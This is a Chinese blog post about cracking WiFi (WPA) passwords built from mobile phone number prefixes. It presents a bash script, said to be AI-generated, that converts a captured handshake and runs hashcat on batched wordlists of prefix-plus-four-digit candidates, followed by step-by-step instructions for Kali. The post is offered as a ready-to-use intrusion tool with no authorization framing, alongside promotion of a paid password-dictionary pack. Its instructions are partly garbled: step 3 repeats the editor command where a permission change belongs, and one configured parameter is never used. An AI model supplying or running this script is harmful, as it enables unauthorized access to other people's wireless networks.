手机号段破解wifi密码_简文

2T超大容量网盘!点击领取 >> 原画质高清备份,上传下载不限速
这类文章我不会出视频,也不会说的很细致.大家看看得了.

AI出的脚本,能用(测试过),前提是你得懂点Linux浅显的基础知识.

【网盘资源】密码字典合集
免费获取:B站关注up,私信"密码包"获取密码. 本内容需要密码才能查看 提交 付费自提:  
密码包里有各省市的手机号段.
这里提供一个分批次生成字典 + 自动破解的 Shell 脚本,可指定每批次处理的前缀数量,避免生成超大字典文件,直接在 Kali 中运行即可。

前提条件

已准备好 7 位手机号段文件 phone_prefix.txt(每行一个前缀)

已捕获有效 WiFi 握手包 handshake.pcap

已获取目标 WiFi 的 BSSID(可通过 aircrack-ng handshake.pcap 查看)

分批次破解脚本(batch_crack.sh

#!/bin/bash
# 配置参数 - 根据实际情况修改
TARGET_BSSID="AA:BB:CC:DD:EE:FF"  # 替换为目标WiFi的BSSID
HANDSHAKE_FILE="handshake.pcap"   # 替换为你的握手包文件名
PREFIX_FILE="phone_prefix.txt"    # 7位手机号段文件
BATCH_SIZE=10                     # 每批次处理的前缀数量,可调整(如10/20/50)
HASH_FILE="temp_hash.hc22000"     # 临时哈希文件

# 检查必要文件是否存在
if [ ! -f "$PREFIX_FILE" ]; then
    echo "错误:找不到前缀文件 $PREFIX_FILE"
    exit 1
fi
if [ ! -f "$HANDSHAKE_FILE" ]; then
    echo "错误:找不到握手包文件 $HANDSHAKE_FILE"
    exit 1
fi

# 转换握手包为hashcat支持格式(仅需执行一次)
echo "正在转换握手包格式..."
hcxpcapngtool "$HANDSHAKE_FILE" -o "$HASH_FILE"
if [ $? -ne 0 ]; then
    echo "握手包转换失败,请检查文件有效性"
    exit 1
fi

# 计算总前缀数
TOTAL_PREFIX=$(wc -l < "$PREFIX_FILE")
echo "共检测到 $TOTAL_PREFIX 个手机号段,每批次处理 $BATCH_SIZE 个"
echo "======================================"

# 分批处理前缀
BATCH_NUM=1
while [ $(wc -l < "$PREFIX_FILE") -gt 0 ]; do
    # 提取当前批次的前缀
    head -n "$BATCH_SIZE" "$PREFIX_FILE" > "temp_prefix_$BATCH_NUM.txt"
    # 删除已提取的前缀(避免重复处理)
    sed -i "1,$BATCH_SIZE d" "$PREFIX_FILE"
    
    # 生成当前批次的密码字典(前缀+后4位0000-9999)
    echo "正在生成第 $BATCH_NUM 批密码字典..."
    rm -f "temp_pass_$BATCH_NUM.txt"
    while read prefix; do
        for suffix in {0000..9999}; do
            echo "${prefix}${suffix}" >> "temp_pass_$BATCH_NUM.txt"
        done
    done < "temp_prefix_$BATCH_NUM.txt"
    
    # 用hashcat破解当前批次
    echo "正在破解第 $BATCH_NUM 批密码..."
    hashcat -m 2500 -a 0 -d 1 "$HASH_FILE" "temp_pass_$BATCH_NUM.txt"
    
    # 检查是否破解成功
    if hashcat -m 2500 --show "$HASH_FILE" | grep -q ":"; then
        echo "======================================"
        echo "恭喜!密码破解成功:"
        hashcat -m 2500 --show "$HASH_FILE"
        rm -f temp_*  # 清理临时文件
        exit 0
    fi
    
    # 清理当前批次临时文件
    rm -f "temp_prefix_$BATCH_NUM.txt" "temp_pass_$BATCH_NUM.txt"
    echo "第 $BATCH_NUM 批破解失败,继续下一批..."
    echo "======================================"
    BATCH_NUM=$((BATCH_NUM + 1))
done

# 所有批次处理完毕
echo "所有前缀批次破解完成,未找到匹配密码"
rm -f "$HASH_FILE"
exit 0

使用步骤

1、在 Kali 终端中新建脚本:

nano batch_crack.sh

2、将上述脚本复制粘贴进去,修改 TARGET_BSSIDHANDSHAKE_FILE 等参数为你的实际信息。

3、赋予脚本执行权限:

nano batch_crack.sh

      • 4、运行脚本:
    • ./batch_crack.sh
2T超大容量网盘!点击领取 >> 原画质高清备份,上传下载不限速
这是一个持续运营的鼓励
如果真的对你有用的话,感谢支持服务器及作者运营
THE END